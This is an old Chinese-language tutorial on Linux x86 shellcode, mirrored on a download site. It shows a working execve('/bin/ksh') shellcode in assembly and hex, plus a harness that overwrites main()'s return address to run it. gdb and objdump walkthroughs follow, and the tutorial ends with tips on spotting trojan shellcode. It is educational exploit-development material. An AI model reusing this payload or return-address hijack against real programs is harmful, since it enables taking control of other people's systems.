⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 shellcode技术探讨续1.htm

📁 shellcode资料
💻 HTM
字号:
<HTML>
<HEAD>
<meta name="Phorum Version" content="3.1">
<meta name="Phorum DB" content="mysql">
<meta name="PHP Version" content="4.0.0">
<style><!--body{font-family:"宋体","serif";font-size:11pt}--></style>
<TITLE>shellcode技术探讨续一</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" LINK="#0000FF" ALINK="#FF0000" VLINK="#330000">
 shellcode技术探讨一
<BR>

<BR>概述:
<BR>
<BR>      本文旨在验证前文几个问题所在,当时我在一旁加了注解,
    可能有朋友觉得理解有点问题,看了这篇就没问题了。
    还有就是针对以前有人问过的,如何得到shellcode的汇编
    代码,给出了实际例子。文中详细注解了使用到的gdb命令
    集合,如果你用过debug/softice,就很容易理解。不过说
    实话,gdb的帮助(即使是那些翻译过来的)比dbx要糟,幸
    好用过dbx。
<BR>
<BR>测试:
<BR>
<BR>    RedHat 6.0/Intel PII
<BR>
<BR>目录:
<BR>
<BR>    1. 验证exit()不是必要的
<BR>    2. vi shelltest.c
<BR>    3. gdb使用举例(待增加)
<BR>    4. 利用objdump直接查看shellcode的汇编代码
<BR>    5. 使用外来shellcode时要注意的问题
<BR>
<BR>1. 验证exit()不是必要的
<BR>
<BR>shellcode探讨之一中第6条目,提到那个exit()系统调用是不必要的。
可能有朋友觉得不可信,我就把有关它的部分去掉,略微调整一下
代码再演示一番。
<BR>
<BR>vi shellcodeasm.c
<BR>
<BR>int main ()
<BR>{
<BR>    __asm__
<BR>    ("
<BR>        jmp    0x18                     # 3 bytes
<BR>        popl   %esi                     # 1 byte
<BR>        movl   %esi,0x9(%esi)           # 3 bytes
<BR>        xorl   %eax,%eax                # 2 bytes
<BR>        movb   %eax,0x8(%esi)           # 3 bytes
<BR>        movl   %eax,0xd(%esi)           # 3 bytes
<BR>        movb   $0xb,%al                 # 2 bytes
<BR>        movl   %esi,%ebx                # 2 bytes
<BR>        leal   0x9(%esi),%ecx           # 3 bytes
<BR>        leal   0xd(%esi),%edx           # 3 bytes
<BR>        int    $0x80                    # 2 bytes
<BR>        call   -0x1d                    # 5 bytes
<BR>        .string \"/bin/ksh\"            # 9 bytes
<BR>                                        # 41 bytes total
<BR>    ");
<BR>}
<BR>
<BR>[scz@ /home/scz/src]> gcc -o shellcodeasm -g -ggdb shellcodeasm.c
<BR>[scz@ /home/scz/src]> gdb shellcodeasm
<BR>GNU gdb 4.17.0.11 with Linux support
<BR>This GDB was configured as "i386-redhat-linux"...
<BR>(gdb) disas main
<BR>
<BR>objdump -j .text -Sl shellcodeasm | more
<BR>/main
<BR>
<BR>08048398 :
<BR>main():
<BR>/home/scz/src/shellcodeasm.c:2
<BR>{
<BR>8048398:       55                      pushl  %ebp
<BR>8048399:       89 e5                   movl   %esp,%ebp
<BR>/home/scz/src/shellcodeasm.c:3
<BR>    __asm__
<BR>804839b:       eb 18                   jmp    80483b5 
<BR>804839d:       5e                      popl   %esi
<BR>804839e:       89 76 09                movl   %esi,0x9(%esi)
<BR>80483a1:       31 c0                   xorl   %eax,%eax
<BR>80483a3:       88 46 08                movb   %al,0x8(%esi)
<BR>80483a6:       89 46 0d                movl   %eax,0xd(%esi)
<BR>80483a9:       b0 0b                   movb   $0xb,%al
<BR>80483ab:       89 f3                   movl   %esi,%ebx
<BR>80483ad:       8d 4e 09                leal   0x9(%esi),%ecx
<BR>80483b0:       8d 56 0d                leal   0xd(%esi),%edx
<BR>80483b3:       cd 80                   int    $0x80
<BR>80483b5:       e8 e3 ff ff ff          call   804839d 
<BR>80483ba:       2f                      das    
<BR>80483bb:       62 69 6e                boundl 0x6e(%ecx),%ebp
<BR>80483be:       2f                      das    
<BR>80483bf:       6b 73 68 00             imull  $0x0,0x68(%ebx),%esi
<BR>/home/scz/src/shellcodeasm.c:20
<BR>    ("
<BR>        jmp    0x18                     # 3 bytes
<BR>        popl   %esi                     # 1 byte
<BR>        movl   %esi,0x9(%esi)           # 3 bytes
<BR>        xorl   %eax,%eax                # 2 bytes
<BR>        movb   %eax,0x8(%esi)           # 3 bytes
<BR>        movl   %eax,0xd(%esi)           # 3 bytes
<BR>        movb   $0xb,%al                 # 2 bytes
<BR>        movl   %esi,%ebx                # 2 bytes
<BR>        leal   0x9(%esi),%ecx           # 3 bytes
<BR>        leal   0xd(%esi),%edx           # 3 bytes
<BR>        int    $0x80                    # 2 bytes
<BR>        call   -0x1d                    # 5 bytes
<BR>        .string \"/bin/ksh\"            # 9 bytes
<BR>                                        # 41 bytes total
<BR>    ");
<BR>}
<BR>80483c3:       c9                      leave  
<BR>80483c4:       c3                      ret    
<BR>80483c5:       90                      nop
<BR>
<BR>整理shellcode如下:
<BR>
<BR>eb 18 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b 89 f3 8d 4e 09 
<BR>8d 56 0d cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3
<BR>
<BR>2. vi shelltest.c
<BR>
<BR>char shellcode[] =
<BR>    "\xeb\x18\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b\x89\xf3\x8d\x4e\x09"
<BR>    "\x8d\x56\x0d\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x00\xc9\xc3";
<BR>
<BR>int main ()
<BR>{
<BR>    int * ret;  /* 当前esp指向的地址保存ret的值 */
<BR>
<BR>    ret      = ( int * )&ret + 2;  /* 得到 esp + 2 * 4,那是返回地址IP */
<BR>    ( *ret ) = ( int )shellcode;  /* 修改了 main() 函数的返回地址,那是很重要的一步 */
<BR>}
<BR>
<BR>[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
<BR>[scz@ /home/scz/src]> ./shelltest
<BR>$ exit
<BR>[scz@ /home/scz/src]>
<BR>
<BR>说明什么?我们的结论是正确的。exit()不过是一种附加的保护措施,免得你在
<BR>别人机器上搞砸的时候来个core dump。我个人建议还是留下这个exit(),增加不
<BR>了几个字节的。
<BR>
<BR>3. gdb使用举例(待增加)
<BR>
<BR>[scz@ /home/scz/src]> gdb shelltest
<BR>GNU gdb 4.17.0.11 with Linux support
<BR>This GDB was configured as "i386-redhat-linux"...
<BR>(gdb) disas main
<BR>Dump of assembler code for function main:
<BR>0x8048398 :       pushl  %ebp
<BR>0x8048399 :     movl   %esp,%ebp
<BR>0x804839b :     subl   $0x4,%esp
<BR>0x804839e :     leal   0xfffffffc(%ebp),%eax
<BR>0x80483a1 :     leal   0x8(%eax),%edx
<BR>0x80483a4 :    movl   %edx,0xfffffffc(%ebp)
<BR>0x80483a7 :    movl   0xfffffffc(%ebp),%eax
<BR>0x80483aa :    movl   $0x8049440,(%eax)
<BR>0x80483b0 :    leave  
<BR>0x80483b1 :    ret
<BR>End of assembler dump.
<BR>(gdb) break main < -- -- -- 设置断点
<BR>Breakpoint 1 at 0x804839e
<BR>(gdb) run < -- -- -- 运行
<BR>Starting program: /home/scz/src/shelltest 
<BR>
<BR>Breakpoint 1, 0x804839e in main ()
<BR>(gdb) jump *main+12 < -- -- -- 运行到 main+12 停下来
<BR>Continuing at 0x80483a4.
<BR>
<BR>Program exited with code 064.
<BR>(gdb) info bre < -- -- -- 查看断点
<BR>Num Type           Disp Enb Address    What
<BR>1   breakpoint     keep y   0x0804839e  
<BR>        breakpoint already hit 1 time
<BR>(gdb) kill < -- -- -- 终止调试当前程序
<BR>(gdb) d 1 < -- -- -- 删除1号断点
<BR>(gdb) break *main+18
<BR>Breakpoint 2 at 0x80483aa
<BR>(gdb) inf b
<BR>Num Type           Disp Enb Address    What
<BR>2   breakpoint     keep y   0x080483aa  
<BR>(gdb) run
<BR>The program being debugged has been started already.
<BR>Start it from the beginning? (y or n) y
<BR>Starting program: /home/scz/src/shelltest 
<BR>
<BR>Breakpoint 2, 0x80483aa in main ()
<BR>(gdb) inf reg < -- -- -- 查看寄存器
<BR>     eax: 0xbffffd0c -1073742580 < -- -- -- eax存放着main()返回地址所在地址
<BR>     ecx:  0x8048398   134513560
<BR>     edx: 0xbffffd0c -1073742580
<BR>     ebx: 0x401041b4  1074807220
<BR>     esp: 0xbffffd04 -1073742588
<BR>     ebp: 0xbffffd08 -1073742584
<BR>     esi: 0xbffffd54 -1073742508
<BR>     edi:        0x1           1
<BR>     eip:  0x80483aa   134513578 < -- -- -- 注意这里eip等于断点地址
<BR>  eflags:      0x282 IOPL: 0; flags: SF IF
<BR>orig_eax: 0xffffffff          -1
<BR>      cs:       0x23          35
<BR>      ss:       0x2b          43
<BR>      ds:       0x2b          43
<BR>      es:       0x2b          43
<BR>      fs:        0x0           0
<BR>      gs:        0x0           0
<BR>(gdb) x/32bx $ebp - 16 < -- -- -- 查看堆栈,采用16进制字节表达方式
<BR>0xbffffcf8:     0x08    0xfd    0xff    0xbf    0x8b    0x83    0x04    0x08
<BR>0xbffffd00:     0x6c    0x94    0x04    0x08    0x0c    0xfd    0xff    0xbf
<BR>0xbffffd08:     0x28    0xfd    0xff    0xbf    0xb3    0x1c    0x03    0x40
<BR>0xbffffd10:     0x01    0x00    0x00    0x00    0x54    0xfd    0xff    0xbf
<BR>(gdb) stepi < -- -- -- 单步执行一条汇编指令,进入子程序
<BR>0x80483b0 in main ()
<BR>(gdb) inf reg
<BR>     eax: 0xbffffd0c -1073742580 < -- -- -- 应该检查0xbffffd0c的内容
<BR>     ecx:  0x8048398   134513560
<BR>     edx: 0xbffffd0c -1073742580
<BR>     ebx: 0x401041b4  1074807220
<BR>     esp: 0xbffffd04 -1073742588
<BR>     ebp: 0xbffffd08 -1073742584
<BR>     esi: 0xbffffd54 -1073742508
<BR>     edi:        0x1           1
<BR>     eip:  0x80483b0   134513584 < -- -- -- eip变更
<BR>  eflags:      0x382 IOPL: 0; flags: SF TF IF
<BR>orig_eax: 0xffffffff          -1
<BR>      cs:       0x23          35
<BR>      ss:       0x2b          43
<BR>      ds:       0x2b          43
<BR>      es:       0x2b          43
<BR>      fs:        0x0           0
<BR>      gs:        0x0           0
<BR>(gdb) x/4bx $eax < -- -- -- 检查0xbffffd0c的内容
<BR>0xbffffd0c:     0x40    0x94    0x04    0x08
<BR>(gdb) stepi
<BR>0x80483b1 in main ()
<BR>(gdb) stepi < -- -- -- 执行ret指令,流程转入我们的shellcode
<BR>0x8049440 in shellcode ()
<BR>(gdb) disas $eip $eip+31 < -- -- -- 反汇编shellcode中的31个字节
<BR>Dump of assembler code from 0x8049440 to 0x804945f:
<BR>0x8049440 :  jmp    0x804945a 
<BR>0x8049442 :        popl   %esi
<BR>0x8049443 :        movl   %esi,0x9(%esi)
<BR>0x8049446 :        xorl   %eax,%eax
<BR>0x8049448 :        movb   %al,0x8(%esi)
<BR>0x804944b :       movl   %eax,0xd(%esi)
<BR>0x804944e :       movb   $0xb,%al
<BR>0x8049450 :       movl   %esi,%ebx
<BR>0x8049452 :       leal   0x9(%esi),%ecx
<BR>0x8049455 :       leal   0xd(%esi),%edx
<BR>0x8049458 :       int    $0x80
<BR>0x804945a :       call   0x8049442 
<BR>End of assembler dump.
<BR>(gdb) x/16s $eip+31 < -- -- -- 以字符串形式查看内存
<BR>0x804945f :        "/bin/ksh"
<BR>... ...
<BR>(gdb) nexti 8 < -- -- -- 单步执行8次汇编指令,不进入子程序
<BR>0x8049450 in shellcode ()
<BR>(gdb) x/16bx $esi < -- -- -- 观察前文第14条目中提到的内存状况
<BR>0x804945f :       0x2f    0x62    0x69    0x6e    0x2f    0x6b    0x73    0x68
<BR>0x8049467 :       0x00    0x5f    0x94    0x04    0x08    0x00    0x00    0x00
<BR>                                        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<BR>(gdb) quit
<BR>The program is running.  Exit anyway? (y or n) y
<BR>[scz@ /home/scz/src]> 
<BR>
<BR>啊哈,是不是一路做下来了呢?找回点什么感觉,对了对了,正是这种感觉,
<BR>不就是在玩debug嘛,没什么可怕的,很简单的gdb。当然咯,如果你要调试
<BR>多线程程序,可能要麻烦点,回头有机会我写篇gdb调试多线程实战上来。
<BR>
<BR>4. 利用objdump直接查看shellcode的汇编代码
<BR>
<BR>objdump -j .data -D shelltest | more
<BR>/shellcode
<BR>
<BR>08049440 :
<BR>8049440:       eb 18                   jmp    804945a 
<BR>8049442:       5e                      popl   %esi
<BR>8049443:       89 76 09                movl   %esi,0x9(%esi)
<BR>8049446:       31 c0                   xorl   %eax,%eax
<BR>8049448:       88 46 08                movb   %al,0x8(%esi)
<BR>804944b:       89 46 0d                movl   %eax,0xd(%esi)
<BR>804944e:       b0 0b                   movb   $0xb,%al
<BR>8049450:       89 f3                   movl   %esi,%ebx
<BR>8049452:       8d 4e 09                leal   0x9(%esi),%ecx
<BR>8049455:       8d 56 0d                leal   0xd(%esi),%edx
<BR>8049458:       cd 80                   int    $0x80
<BR>804945a:       e8 e3 ff ff ff          call   8049442 
<BR>804945f:       2f                      das    
<BR>8049460:       62 69 6e                boundl 0x6e(%ecx),%ebp
<BR>8049463:       2f                      das    
<BR>8049464:       6b 73 68 00             imull  $0x0,0x68(%ebx),%esi
<BR>8049468:       c9                      leave  
<BR>8049469:       c3                      ret
<BR>
<BR>[scz@ /home/scz/src]> objdump -j .data -s shelltest | more
<BR>
<BR>shelltest:     file format elf32-i386
<BR>
<BR>Contents of section .data:
<BR>8049420 00000000 7c940408 00000000 00000000  ....|...........
<BR>8049430 00000000 00000000 00000000 00000000  ................
<BR>8049440 eb185e89 760931c0 88460889 460db00b  ..^.v.1..F..F...
<BR>8049450 89f38d4e 098d560d cd80e8e3 ffffff2f  ...N..V......../
<BR>8049460 62696e2f 6b736800 c9c30000           bin/ksh.....    
<BR>[scz@ /home/scz/src]>
<BR>
<BR>5. 使用外来shellcode时要注意的问题
<BR>
<BR>我们必须注意到,绝大部分shellcode都是以jmp指令开始的,那么第一个字节
<BR>应该是0xeb,即使不以jmp开始,也应该有call和int指令出现,0xe8和0xcd。
<BR>要是一段shellcode没有这三个字节出现,那很值得怀疑,到底是shellcode
<BR>还是木马。shellcode一般都是短小精悍的,如果shellcode很长,也要怀疑
<BR>它的功能到底是什么,此时应该用objdump来查看这只混蛋,关于objdump的
<BR>使用前面已经给了不少例子,完整的说明请查看我贴过的
<BR><>
<BR>
<BR> 
<BR>
<BR>
<BR>
<BR>
<BR> 
<BR> 
<BR>

</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -